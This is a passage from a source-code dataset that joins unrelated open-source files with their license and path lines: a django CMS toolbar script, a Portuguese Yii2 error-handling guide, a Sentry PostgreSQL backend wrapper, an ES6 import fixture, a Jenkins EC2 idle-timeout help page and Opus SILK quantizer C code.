= 'cms-toolbar-item-navigation-disabled'; var children = 'cms-toolbar-item-navigation-children'; // remove events from first level item.find('a').bind(that.click, function (e) { e.preventDefault(); if ($(this).attr('href') !== '' && $(this).attr('href') !== '#' && !$(this).parent().hasClass(disabled) && !$(this).parent().hasClass(disabled)) { that._delegate($(this)); reset(); return false; } }); // handle click states lists.bind(that.click, function (e) { e.stopPropagation(); var el = $(this); // close if el is first item if (el.parent().hasClass(root) && el.hasClass(hover) || el.hasClass(disabled)) { reset(); return false; } else { reset(); el.addClass(hover); } // activate hover selection item.find('> li').bind('mouseenter', function () { // cancel if item is already active if ($(this).hasClass(hover)) { return false; } $(this).trigger(that.click); }); // create the document event $(document).bind(that.click, reset); }); // attach hover lists.find('li').bind('mouseenter mouseleave', function () { var el = $(this); var parent = el.closest('.cms-toolbar-item-navigation-children') .add(el.parents('.cms-toolbar-item-navigation-children')); var hasChildren = el.hasClass(children) || parent.length; // do not attach hover effect if disabled // cancel event if element has already hover class if (el.hasClass(disabled) || el.hasClass(hover)) { return false; } // reset lists.find('li').removeClass(hover); // add hover effect el.addClass(hover); // handle children elements if (hasChildren) { el.find('> ul').show(); // add parent class parent.addClass(hover); } else { lists.find('ul ul').hide(); } // Remove stale submenus el.siblings().find('> ul').hide(); }); // fix leave event lists.find('> ul').bind('mouseleave', function () { lists.find('li').removeClass(hover); }); // removes classes and events function reset() { lists.removeClass(hover); lists.find('ul ul').hide(); item.find('> li').unbind('mouseenter'); $(document).unbind(that.click); } }); // attach event to the switcher elements this.switcher.each(function () { $(this).bind(that.click, function (e) { e.preventDefault(); that._setSwitcher($(e.currentTarget)); }); }); // attach event for first page publish this.buttons.each(function () { var btn = $(this); // in case the button has a data-rel attribute if (btn.find('a').attr('data-rel')) { btn.on('click', function (e) { e.preventDefault(); that._delegate($(this).find('a')); }); } // in case of the publish button btn.find('.cms-publish-page').bind(that.click, function (e) { if (!confirm(that.config.lang.publish)) { e.preventDefault(); } }); btn.find('.cms-btn-publish').bind(that.click, function (e) { e.preventDefault(); // send post request to prevent xss attacks $.ajax({ 'type': 'post', 'url': $(this).prop('href'), 'data': { 'csrfmiddlewaretoken': CMS.config.csrf }, 'success': function () { CMS.API.Helpers.reloadBrowser(); }, 'error': function (request) { throw new Error(request); } }); }); }); }, // public methods toggleToolbar: function (show) { // overwrite state when provided if (show) { this.settings.toolbar = 'collapsed'; } // toggle bar (this.settings.toolbar === 'collapsed') ? this._showToolbar(200) : this._hideToolbar(200); }, openMessage: function (msg, dir, delay, error) { // set toolbar freeze this._lock(true); // add content to element this.messages.find('.cms-messages-inner').html(msg); // clear timeout clearTimeout(this.timer); // determine width var that = this; var width = 320; var height = this.messages.outerHeight(true); var top = this.toolbar.outerHeight(true); var close = this.messages.find('.cms-messages-close'); close.hide(); close.bind(this.click, function () { that.closeMessage(); }); // set top to 0 if toolbar is collapsed if (this.settings.toolbar === 'collapsed') { top = 0; } // do we need to add debug styles? if (this.config.debug) { top = top + 5; } // set correct position and show this.messages.css('top', -height).show(); // error handling this.messages.removeClass('cms-messages-error'); if (error) { this.messages.addClass('cms-messages-error'); } // dir should be left, center, right dir = dir || 'center'; // set correct direction and animation switch (dir) { case 'left': this.messages.css({ 'top': top, 'left': -width, 'right': 'auto', 'margin-left': 0 }); this.messages.animate({ 'left': 0 }); break; case 'right': this.messages.css({ 'top': top, 'right': -width, 'left': 'auto', 'margin-left': 0 }); this.messages.animate({ 'right': 0 }); break; default: this.messages.css({ 'left': '50%', 'right': 'auto', 'margin-left': -(width / 2) }); this.messages.animate({ 'top': top }); } // cancel autohide if delay is 0 if (delay === 0) { close.show(); return false; } // add delay to hide this.timer = setTimeout(function () { that.closeMessage(); }, delay || this.options.messageDelay); }, closeMessage: function () { this.messages.fadeOut(300); // unlock toolbar this._lock(false); }, openAjax: function (url, post, text, callback, onSuccess) { var that = this; // check if we have a confirmation text var question = (text) ? confirm(text) : true; // cancel if question has been denied if (!question) { return false; } // set loader this._loader(true); $.ajax({ 'type': 'POST', 'url': url, 'data': (post) ? JSON.parse(post) : {}, 'success': function (response) { CMS.API.locked = false; if (callback) { callback(that, response); that._loader(false); } else if (onSuccess) { CMS.API.Helpers.reloadBrowser(onSuccess, false, true); } else { // reload CMS.API.Helpers.reloadBrowser(false, false, true); } }, 'error': function (jqXHR) { CMS.API.locked = false; that.showError(jqXHR.response + ' | ' + jqXHR.status + ' ' + jqXHR.statusText); } }); }, showError: function (msg, reload) { this.openMessage(msg, 'center', 0, true); // force reload if param is passed if (reload) { CMS.API.Helpers.reloadBrowser(false, this.options.messageDelay); } }, // private methods _showToolbar: function (speed, init) { this.toolbarTrigger.addClass('cms-toolbar-trigger-expanded'); this.toolbar.slideDown(speed); // animate html this.body.animate({ 'margin-top': (this.config.debug) ? 35 : 30 }, (init) ? 0 : speed, function () { $(this).addClass('cms-toolbar-expanded'); }); // set messages top to toolbar height this.messages.css('top', 31); // set new settings this.settings.toolbar = 'expanded'; if (!init) { this.settings = this.setSettings(this.settings); } }, _hideToolbar: function (speed, init) { // cancel if sideframe is active if (this.lockToolbar) { return false; } this.toolbarTrigger.removeClass('cms-toolbar-trigger-expanded'); this.toolbar.slideUp(speed); // animate html this.body.removeClass('cms-toolbar-expanded') .animate({ 'margin-top': (this.config.debug) ? 5 : 0 }, speed); // set messages top to 0 this.messages.css('top', 0); // set new settings this.settings.toolbar = 'collapsed'; if (!init) { this.settings = this.setSettings(this.settings); } }, _setSwitcher: function (el) { // save local vars var active = el.hasClass('cms-toolbar-item-switch-active'); var anchor = el.find('a'); var knob = el.find('.cms-toolbar-item-switch-knob'); var duration = 300; // prevent if switchopstion is passed if (this.options.preventSwitch) { this.openMessage(this.options.preventSwitchMessage, 'right'); return false; } // determin what to trigger if (active) { knob.animate({ 'right': anchor.outerWidth(true) - (knob.outerWidth(true) + 2) }, duration); // move anchor behind the knob anchor.css('z-index', 1).animate({ 'padding-top': 6, 'padding-right': 14, 'padding-bottom': 4, 'padding-left': 28 }, duration); } else { knob.animate({ 'left': anchor.outerWidth(true) - (knob.outerWidth(true) + 2) }, duration); // move anchor behind the knob anchor.css('z-index', 1).animate({ 'padding-top': 6, 'padding-right': 28, 'padding-bottom': 4, 'padding-left': 14 }, duration); } // reload setTimeout(function () { window.location.href = anchor.attr('href'); }, duration); }, _delegate: function (el) { // save local vars var target = el.data('rel'); switch (target) { case 'modal': var modal = new CMS.Modal({'onClose': el.data('on-close')}); modal.open(el.attr('href'), el.data('name')); break; case 'message': this.openMessage(el.data('text')); break; case 'sideframe': var sideframe = new CMS.Sideframe({'onClose': el.data('on-close')}); sideframe.open(el.attr('href'), true); break; case 'ajax': this.openAjax(el.attr('href'), JSON.stringify( el.data('post')), el.data('text'), null, el.data('on-success') ); break; default: window.location.href = el.attr('href'); } }, _lock: function (lock) { if (lock) { this.lockToolbar = true; // make button look disabled this.toolbarTrigger.css('opacity', 0.2); } else { this.lockToolbar = false; // make button look disabled this.toolbarTrigger.css('opacity', 1); } }, _loader: function (loader) { if (loader) { this.toolbarTrigger.addClass('cms-toolbar-loader'); } else { this.toolbarTrigger.removeClass('cms-toolbar-loader'); } }, _debug: function () { var that = this; var timeout = 1000; var timer = function () {}; // bind message event var debug = this.container.find('.cms-debug-bar'); debug.bind('mouseenter mouseleave', function (e) { clearTimeout(timer); if (e.type === 'mouseenter') { timer = setTimeout(function () { that.openMessage(that.config.lang.debug); }, timeout); } }); }, _screenBlock: function () { var interval = 20; var blocker = this.screenBlock; var sideframe = $('.cms-sideframe'); // automatically resize screenblock window according to given attributes $(window).on('resize.cms.screenblock', function () { var width = $(this).width() - sideframe.width(); blocker.css({ 'width': width, 'height': $(window).height() }); }).trigger('resize'); // set update interval setInterval(function () { $(window).trigger('resize.cms.screenblock'); }, interval); } }); }); })(CMS.$);
bsd-3-clause
zhoujiafei/yii2-1
docs/guide-pt-BR/runtime-handling-errors.md
8290
Tratamento de Erros =============== Yii inclui um [[yii\web\ErrorHandler|error handler]] o que torna o tratamento de erros uma experiência muito mais agradável do que antes. Em particular, o manipulador de erro do Yii faz o seguinte para melhorar o tratamento de erros: * Todos os erros não-fatais do PHP (ex. advertências, avisos) são convertidas em exceções capturáveis. * Exceções e erros fatais do PHP são exibidos com detalhes de informação em uma pilha de chamadas (call stack) e linhas de código-fonte no modo de depuração. * Suporta o use de [ação](structure-controllers.md#actions) dedicado para exibir erros. * Suporta diferentes formatos de resposta de erro. O [[yii\web\ErrorHandler|manipulador de erro]] é habilitado por padrão. Você pode desabilitá-lo definindo a constante `YII_ENABLE_ERROR_HANDLER` como `false` no [script de entrada](structure-entry-scripts.md) da aplicação. ## Usando Manipulador de Erro <span id="using-error-handler"></span> O [[yii\web\ErrorHandler|manipulador de erro]] é registrado como um [componente da aplicação](structure-application-components.md) chamado `errorHandler`. Você pode configurá-lo na configuração da aplicação da seguinte forma: ```php return [ 'components' => [ 'errorHandler' => [ 'maxSourceLines' => 20, ], ], ]; ``` Com a configuração acima, o número de linhas de código fonte para ser exibido em páginas de exceção será de até 20. Como já informado, o manipulador de erro transforma todos os erros não fatais do PHP em exceções capturáveis. Isto significa que você pode usar o seguinte código para lidar com erros do PHP: ```php use Yii; use yii\base\ErrorException; try { 10/0; } catch (ErrorException $e) { Yii::warning("Division by zero."); } // Continua a execução... ``` Se você deseja mostrar uma página de erro dizendo ao usuário que a sua requisição é inválida ou inesperada, você pode simplesmente lançar uma [[yii\web\HttpException|HTTP exception]], tal como [[yii\web\NotFoundHttpException]]. O manipulador de erro irá definir corretamente o código de status HTTP da resposta e usar uma exibição de erro apropriada para exibir a mensagem de erro. ```php use yii\web\NotFoundHttpException; throw new NotFoundHttpException(); ``` ## Personalizando a Exibição de Erro<span id="customizing-error-display"></span> O [[yii\web\ErrorHandler|manipulador de erro]] ajusta a exibição de erro de acordo com o valor da constante `YII_DEBUG`. Quando `YII_DEBUG` for `True` (significa modo de debug), o manipulador de erro irá exibir exceções com informações detalhadas da pilha de chamadas e linhas do código fonte para ajudar na depuração do erro. E quando `YII_DEBUG` for `false`, apenas a mensagem de erro será exibida para evitar revelar informações relevantes sobre a aplicação. > Observação: Se uma exceção descende de [[yii\base\UserException]], nenhuma pilha de chamadas será exibido independentemente do valor do `YII_DEBUG`. Isso porque tais exceções são consideradas erros causados pelo usuário não havendo nada a ser corrigido por parte dos programadores. Por padrão, o [[yii\web\ErrorHandler|manipulador de erro]] mostra os erros utilizando duas [views](structure-views.md): * `@yii/views/errorHandler/error.php`: utilizada quando os erros devem ser exibidos sem informações pilha de chamadas. Quando `YII_DEBUG` for `false`, esta é a única exibição de erro a ser exibida. * `@yii/views/errorHandler/exception.php`: utilizada quando os erros devem ser exibidos com informações pilha de chamadas. Você pode configurar as propriedades [[yii\web\ErrorHandler::errorView|errorView]] e [[yii\web\ErrorHandler::exceptionView|exceptionView]] do manipulador de erros para usar suas próprias views personalizando a exibição de erro. ### Usando Ações de erros <span id="using-error-actions"></span> A melhor maneira de personalizar a exibição de erro é usa uma [ação](structure-controllers.md) dedicada de erro. Para fazê-lo, primeiro configure a propriedade [[yii\web\ErrorHandler::errorAction|errorAction]] do componente `errorHandler` como a seguir: ```php return [ 'components' => [ 'errorHandler' => [ 'errorAction' => 'site/error', ], ] ]; ``` A propriedade [[yii\web\ErrorHandler::errorAction|errorAction]] define uma [rota](structure-controllers.md#routes) para uma ação. A configuração acima afirma que quando um erro precisa ser exibido sem informações da pilha de chamadas, a ação `site/error` deve ser executada. Você pode criar a ação `site/error` da seguinte forma, ```php namespace app\controllers; use Yii; use yii\web\Controller; class SiteController extends Controller { public function actions() { return [ 'error' => [ 'class' => 'yii\web\ErrorAction', ], ]; } } ``` O código acima define a ação `error` usando a classe [[yii\web\ErrorAction]] que renderiza um erro usando a view `error`. Além de usar [[yii\web\ErrorAction]], você também pode definir a ação `error` usando um método da ação como o seguinte, ```php public function actionError() { $exception = Yii::$app->errorHandler->exception; if ($exception !== null) { return $this->render('error', ['exception' => $exception]); } } ``` Agora você deve criar um arquivo de exibição localizado na `views/site/error.php`. Neste arquivo de exibição, você pode acessar as seguintes variáveis se a ação de erro for definida como [[yii\web\ErrorAction]]: * `name`: o nome do erro; * `message`: a mensagem de erro; * `exception`: o objeto de exceção através do qual você pode recuperar mais informações úteis, como o código de status HTTP, o código de erro, pilha de chamadas de erro, etc. > Observação: Se você está utilizando o [template básico](start-installation.md) ou o [template avançado](https://github.com/yiisoft/yii2-app-advanced/blob/master/docs/guide-pt-BR/README.md), a ação e a view de erro já estão definidas para você. ### Customizando o Formato da Resposta de Erro<span id="error-format"></span> O manipulador de erro exibe erros de acordo com a definição do formato da [resposta](runtime-responses.md). Se o [[yii\web\Response::format|formato da resposta]] for `html`, ele usará a view de erro ou exceção para exibir os erros, como descrito na última subseção. Para outros formatos de resposta, o manipulador de erro irá atribuir o array de representação da exceção para a propriedade [[yii\web\Response::data]] que será então convertida para diferentes formatos de acordo com o que foi configurado. Por exemplo, se o formato de resposta for `json`, você pode visualizar a seguinte resposta: ``` HTTP/1.1 404 Not Found Date: Sun, 02 Mar 2014 05:31:43 GMT Server: Apache/2.2.26 (Unix) DAV/2 PHP/5.4.20 mod_ssl/2.2.26 OpenSSL/0.9.8y Transfer-Encoding: chunked Content-Type: application/json; charset=UTF-8 { "name": "Not Found Exception", "message": "The requested resource was not found.", "code": 0, "status": 404 } ``` Você pode personalizar o formato de resposta de erro, respondendo ao evento `beforeSend` do componente `response` na configuração da aplicação: ```php return [ // ... 'components' => [ 'response' => [ 'class' => 'yii\web\Response', 'on beforeSend' => function ($event) { $response = $event->sender; if ($response->data !== null) { $response->data = [ 'success' => $response->isSuccessful, 'data' => $response->data, ]; $response->statusCode = 200; } }, ], ], ]; ``` O código acima irá reformatar a resposta de erro como a seguir: ``` HTTP/1.1 200 OK Date: Sun, 02 Mar 2014 05:31:43 GMT Server: Apache/2.2.26 (Unix) DAV/2 PHP/5.4.20 mod_ssl/2.2.26 OpenSSL/0.9.8y Transfer-Encoding: chunked Content-Type: application/json; charset=UTF-8 { "success": false, "data": { "name": "Not Found Exception", "message": "The requested resource was not found.", "code": 0, "status": 404 } } ```
bsd-3-clause
Kryz/sentry
src/sentry/db/postgres/base.py
2640
from __future__ import absolute_import import psycopg2 as Database # Some of these imports are unused, but they are inherited from other engines # and should be available as part of the backend ``base.py`` namespace. from django.db.backends.postgresql_psycopg2.base import ( # NOQA DatabaseWrapper, DatabaseFeatures, DatabaseOperations, DatabaseClient, DatabaseCreation, DatabaseIntrospection ) from .decorators import ( capture_transaction_exceptions, auto_reconnect_cursor, auto_reconnect_connection, less_shitty_error_messages ) __all__ = ('DatabaseWrapper', 'DatabaseFeatures', 'DatabaseOperations', 'DatabaseOperations', 'DatabaseClient', 'DatabaseCreation', 'DatabaseIntrospection') class CursorWrapper(object): """ A wrapper around the postgresql_psycopg2 backend which handles various events from cursors, such as auto reconnects and lazy time zone evaluation. """ def __init__(self, db, cursor): self.db = db self.cursor = cursor def __getattr__(self, attr): return getattr(self.cursor, attr) def __iter__(self): return iter(self.cursor) @capture_transaction_exceptions @auto_reconnect_cursor @less_shitty_error_messages def execute(self, sql, params=None): if params is not None: return self.cursor.execute(sql, params) return self.cursor.execute(sql) @capture_transaction_exceptions @auto_reconnect_cursor @less_shitty_error_messages def executemany(self, sql, paramlist=()): return self.cursor.executemany(sql, paramlist) class DatabaseWrapper(DatabaseWrapper): @auto_reconnect_connection def _set_isolation_level(self, level): return super(DatabaseWrapper, self)._set_isolation_level(level) @auto_reconnect_connection def _cursor(self, *args, **kwargs): cursor = super(DatabaseWrapper, self)._cursor() return CursorWrapper(self, cursor) def close(self, reconnect=False): """ This ensures we dont error if the connection has already been closed. """ if self.connection is not None: if not self.connection.closed: try: self.connection.close() except Database.InterfaceError: # connection was already closed by something # like pgbouncer idle timeout. pass self.connection = None class DatabaseFeatures(DatabaseFeatures): can_return_id_from_insert = True def __init__(self, connection): self.connection = connection
bsd-3-clause
hawkrives/6to5
test/fixtures/transformation/es6-modules-umd/imports-default/actual.js
60
import foo from "foo"; import {default as foo2} from "foo";
mit
ydubreuil/ec2-plugin
src/main/resources/hudson/plugins/ec2/SlaveTemplate/help-idleTerminationMinutes.html
2138
<!-- The MIT License Copyright (c) 2004-, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. --> <div> <p>Determines how long slaves can remain idle before being stopped or terminated (see the Stop/Disconnect on Idle Timeout setting).</p> <p>Times are expressed in minutes, and a value of 0 (or an empty string) indicates that idle slaves should never be stopped/terminated. Positive values are simple time-outs after that many idle minutes. Negative values cause the node to time out when idle and within the specified number of minutes from the end of an hourly EC2 billing period.</p> <p>E.g. if a node has an idle timeout of 5 and at 11:30 it has been idle since 11:20 (10 minutes), it will be terminated. If it has an idle timeout of -5 it won't be terminated because the hourly billing period doesn't run out until 12:00.</p> <p>If a node has an idle timeout of -5, and it becomes idle at 11:58, it will be terminated because it's within 5 minutes of the end of the billing period - even if it was active less than 5 minutes ago.</p> </div>
mit
yagoazedias/plugue-discord-bot
node_modules/opusscript/opus-native/silk/NLSF_del_dec_quant.c
11912
/*********************************************************************** Copyright (c) 2006-2011, Skype Limited. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - Neither the name of Internet Society, IETF or IETF Trust, nor the names of specific contributors, may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ***********************************************************************/ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include "main.h" /* Delayed-decision quantizer for NLSF residuals */ opus_int32 silk_NLSF_del_dec_quant( /* O Returns RD value in Q25 */ opus_int8 indices[], /* O Quantization indices [ order ] */ const opus_int16 x_Q10[], /* I Input [ order ] */ const opus_int16 w_Q5[], /* I Weights [ order ] */ const opus_uint8 pred_coef_Q8[], /* I Backward predictor coefs [ order ] */ const opus_int16 ec_ix[], /* I Indices to entropy coding tables [ order ] */ const opus_uint8 ec_rates_Q5[], /* I Rates [] */ const opus_int quant_step_size_Q16, /* I Quantization step size */ const opus_int16 inv_quant_step_size_Q6, /* I Inverse quantization step size */ const opus_int32 mu_Q20, /* I R/D tradeoff */ const opus_int16 order /* I Number of input values */ ) { opus_int i, j, nStates, ind_tmp, ind_min_max, ind_max_min, in_Q10, res_Q10; opus_int pred_Q10, diff_Q10, rate0_Q5, rate1_Q5; opus_int16 out0_Q10, out1_Q10; opus_int32 RD_tmp_Q25, min_Q25, min_max_Q25, max_min_Q25; opus_int ind_sort[ NLSF_QUANT_DEL_DEC_STATES ]; opus_int8 ind[ NLSF_QUANT_DEL_DEC_STATES ][ MAX_LPC_ORDER ]; opus_int16 prev_out_Q10[ 2 * NLSF_QUANT_DEL_DEC_STATES ]; opus_int32 RD_Q25[ 2 * NLSF_QUANT_DEL_DEC_STATES ]; opus_int32 RD_min_Q25[ NLSF_QUANT_DEL_DEC_STATES ]; opus_int32 RD_max_Q25[ NLSF_QUANT_DEL_DEC_STATES ]; const opus_uint8 *rates_Q5; opus_int out0_Q10_table[2 * NLSF_QUANT_MAX_AMPLITUDE_EXT]; opus_int out1_Q10_table[2 * NLSF_QUANT_MAX_AMPLITUDE_EXT]; for (i = -NLSF_QUANT_MAX_AMPLITUDE_EXT; i <= NLSF_QUANT_MAX_AMPLITUDE_EXT-1; i++) { out0_Q10 = silk_LSHIFT( i, 10 ); out1_Q10 = silk_ADD16( out0_Q10, 1024 ); if( i > 0 ) { out0_Q10 = silk_SUB16( out0_Q10, SILK_FIX_CONST( NLSF_QUANT_LEVEL_ADJ, 10 ) ); out1_Q10 = silk_SUB16( out1_Q10, SILK_FIX_CONST( NLSF_QUANT_LEVEL_ADJ, 10 ) ); } else if( i == 0 ) { out1_Q10 = silk_SUB16( out1_Q10, SILK_FIX_CONST( NLSF_QUANT_LEVEL_ADJ, 10 ) ); } else if( i == -1 ) { out0_Q10 = silk_ADD16( out0_Q10, SILK_FIX_CONST( NLSF_QUANT_LEVEL_ADJ, 10 ) ); } else { out0_Q10 = silk_ADD16( out0_Q10, SILK_FIX_CONST( NLSF_QUANT_LEVEL_ADJ, 10 ) ); out1_Q10 = silk_ADD16( out1_Q10, SILK_FIX_CONST( NLSF_QUANT_LEVEL_ADJ, 10 ) ); } out0_Q10_table[ i + NLSF_QUANT_MAX_AMPLITUDE_EXT ] = silk_RSHIFT( silk_SMULBB( out0_Q10, quant_step_size_Q16 ), 16 ); out1_Q10_table[ i + NLSF_QUANT_MAX_AMPLITUDE_EXT ] = silk_RSHIFT( silk_SMULBB( out1_Q10, quant_step_size_Q16 ), 16 ); } silk_assert( (NLSF_QUANT_DEL_DEC_STATES & (NLSF_QUANT_DEL_DEC_STATES-1)) == 0 ); /* must be power of two */ nStates = 1; RD_Q25[ 0 ] = 0; prev_out_Q10[ 0 ] = 0; for( i = order - 1; i >= 0; i-- ) { rates_Q5 = &ec_rates_Q5[ ec_ix[ i ] ]; in_Q10 = x_Q10[ i ]; for( j = 0; j < nStates; j++ ) { pred_Q10 = silk_RSHIFT( silk_SMULBB( (opus_int16)pred_coef_Q8[ i ], prev_out_Q10[ j ] ), 8 ); res_Q10 = silk_SUB16( in_Q10, pred_Q10 ); ind_tmp = silk_RSHIFT( silk_SMULBB( inv_quant_step_size_Q6, res_Q10 ), 16 ); ind_tmp = silk_LIMIT( ind_tmp, -NLSF_QUANT_MAX_AMPLITUDE_EXT, NLSF_QUANT_MAX_AMPLITUDE_EXT-1 ); ind[ j ][ i ] = (opus_int8)ind_tmp; /* compute outputs for ind_tmp and ind_tmp + 1 */ out0_Q10 = out0_Q10_table[ ind_tmp + NLSF_QUANT_MAX_AMPLITUDE_EXT ]; out1_Q10 = out1_Q10_table[ ind_tmp + NLSF_QUANT_MAX_AMPLITUDE_EXT ]; out0_Q10 = silk_ADD16( out0_Q10, pred_Q10 ); out1_Q10 = silk_ADD16( out1_Q10, pred_Q10 ); prev_out_Q10[ j ] = out0_Q10; prev_out_Q10[ j + nStates ] = out1_Q10; /* compute RD for ind_tmp and ind_tmp + 1 */ if( ind_tmp + 1 >= NLSF_QUANT_MAX_AMPLITUDE ) { if( ind_tmp + 1 == NLSF_QUANT_MAX_AMPLITUDE ) { rate0_Q5 = rates_Q5[ ind_tmp + NLSF_QUANT_MAX_AMPLITUDE ]; rate1_Q5 = 280; } else { rate0_Q5 = silk_SMLABB( 280 - 43 * NLSF_QUANT_MAX_AMPLITUDE, 43, ind_tmp ); rate1_Q5 = silk_ADD16( rate0_Q5, 43 ); } } else if( ind_tmp <= -NLSF_QUANT_MAX_AMPLITUDE ) { if( ind_tmp == -NLSF_QUANT_MAX_AMPLITUDE ) { rate0_Q5 = 280; rate1_Q5 = rates_Q5[ ind_tmp + 1 + NLSF_QUANT_MAX_AMPLITUDE ]; } else { rate0_Q5 = silk_SMLABB( 280 - 43 * NLSF_QUANT_MAX_AMPLITUDE, -43, ind_tmp ); rate1_Q5 = silk_SUB16( rate0_Q5, 43 ); } } else { rate0_Q5 = rates_Q5[ ind_tmp + NLSF_QUANT_MAX_AMPLITUDE ]; rate1_Q5 = rates_Q5[ ind_tmp + 1 + NLSF_QUANT_MAX_AMPLITUDE ]; } RD_tmp_Q25 = RD_Q25[ j ]; diff_Q10 = silk_SUB16( in_Q10, out0_Q10 ); RD_Q25[ j ] = silk_SMLABB( silk_MLA( RD_tmp_Q25, silk_SMULBB( diff_Q10, diff_Q10 ), w_Q5[ i ] ), mu_Q20, rate0_Q5 ); diff_Q10 = silk_SUB16( in_Q10, out1_Q10 ); RD_Q25[ j + nStates ] = silk_SMLABB( silk_MLA( RD_tmp_Q25, silk_SMULBB( diff_Q10, diff_Q10 ), w_Q5[ i ] ), mu_Q20, rate1_Q5 ); } if( silk_LSHIFT( nStates, 1 ) <= NLSF_QUANT_DEL_DEC_STATES ) { /* double number of states and copy */ for( j = 0; j < nStates; j++ ) { ind[ j + nStates ][ i ] = ind[ j ][ i ] + 1; } nStates = silk_LSHIFT( nStates, 1 ); for( j = nStates; j < NLSF_QUANT_DEL_DEC_STATES; j++ ) { ind[ j ][ i ] = ind[ j - nStates ][ i ]; } } else { /* sort lower and upper half of RD_Q25, pairwise */ for( j = 0; j < NLSF_QUANT_DEL_DEC_STATES; j++ ) { if( RD_Q25[ j ] > RD_Q25[ j + NLSF_QUANT_DEL_DEC_STATES ] ) { RD_max_Q25[ j ] = RD_Q25[ j ]; RD_min_Q25[ j ] = RD_Q25[ j + NLSF_QUANT_DEL_DEC_STATES ]; RD_Q25[ j ] = RD_min_Q25[ j ]; RD_Q25[ j + NLSF_QUANT_DEL_DEC_STATES ] = RD_max_Q25[ j ]; /* swap prev_out values */ out0_Q10 = prev_out_Q10[ j ]; prev_out_Q10[ j ] = prev_out_Q10[ j + NLSF_QUANT_DEL_DEC_STATES ]; prev_out_Q10[ j + NLSF_QUANT_DEL_DEC_STATES ] = out0_Q10; ind_sort[ j ] = j + NLSF_QUANT_DEL_DEC_STATES; } else { RD_min_Q25[ j ] = RD_Q25[ j ]; RD_max_Q25[ j ] = RD_Q25[ j + NLSF_QUANT_DEL_DEC_STATES ]; ind_sort[ j ] = j; } } /* compare the highest RD values of the winning half with the lowest one in the losing half, and copy if necessary */ /* afterwards ind_sort[] will contain the indices of the NLSF_QUANT_DEL_DEC_STATES winning RD values */ while( 1 ) { min_max_Q25 = silk_int32_MAX; max_min_Q25 = 0; ind_min_max = 0; ind_max_min = 0; for( j = 0; j < NLSF_QUANT_DEL_DEC_STATES; j++ ) { if( min_max_Q25 > RD_max_Q25[ j ] ) { min_max_Q25 = RD_max_Q25[ j ]; ind_min_max = j; } if( max_min_Q25 < RD_min_Q25[ j ] ) { max_min_Q25 = RD_min_Q25[ j ]; ind_max_min = j; } } if( min_max_Q25 >= max_min_Q25 ) { break; } /* copy ind_min_max to ind_max_min */ ind_sort[ ind_max_min ] = ind_sort[ ind_min_max ] ^ NLSF_QUANT_DEL_DEC_STATES; RD_Q25[ ind_max_min ] = RD_Q25[ ind_min_max + NLSF_QUANT_DEL_DEC_STATES ]; prev_out_Q10[ ind_max_min ] = prev_out_Q10[ ind_min_max + NLSF_QUANT_DEL_DEC_STATES ]; RD_min_Q25[ ind_max_min ] = 0; RD_max_Q25[ ind_min_max ] = silk_int32_MAX; silk_memcpy( ind[ ind_max_min ], ind[ ind_min_max ], MAX_LPC_ORDER * sizeof( opus_int8 ) ); } /* increment index if it comes from the upper half */ for( j = 0; j < NLSF_QUANT_DEL_DEC_STATES; j++ ) { ind[ j ][ i ] += silk_RSHIFT( ind_sort[ j ], NLSF_QUANT_DEL_DEC_STATES_LOG2 ); } } } /* last sample: find winner, copy indices and return RD value */ ind_tmp = 0; min_Q25 = silk_int32_MAX; for( j = 0; j < 2 * NLSF_QUANT_DEL_DEC_STATES; j++ ) { if( min_Q25 > RD_Q25[ j ] ) { min_Q25 = RD_Q25[ j ]; ind_tmp = j; } } for( j = 0; j < order; j++ ) { indices[ j ] = ind[ ind_tmp & ( NLSF_QUANT_DEL_DEC_STATES - 1 ) ][ j ]; silk_assert( indices[ j ] >= -NLSF_QUANT_MAX_AMPLITUDE_EXT ); silk_assert( indices[ j ] <= NLSF_QUANT_MAX_AMPLITUDE_EXT ); } indices[ 0 ] += silk_RSHIFT( ind_tmp, NLSF_QUANT_DEL_DEC_STATES_LOG2 ); silk_assert( indices[ 0 ] <= NLSF_QUANT_MAX_AMPLITUDE_EXT ); silk_assert( min_Q25 >= 0 ); return min_Q25; }
mit
tholu/cdnjs
ajax/libs/react-datepicker/0.59.0/react-datepicker.js
229566
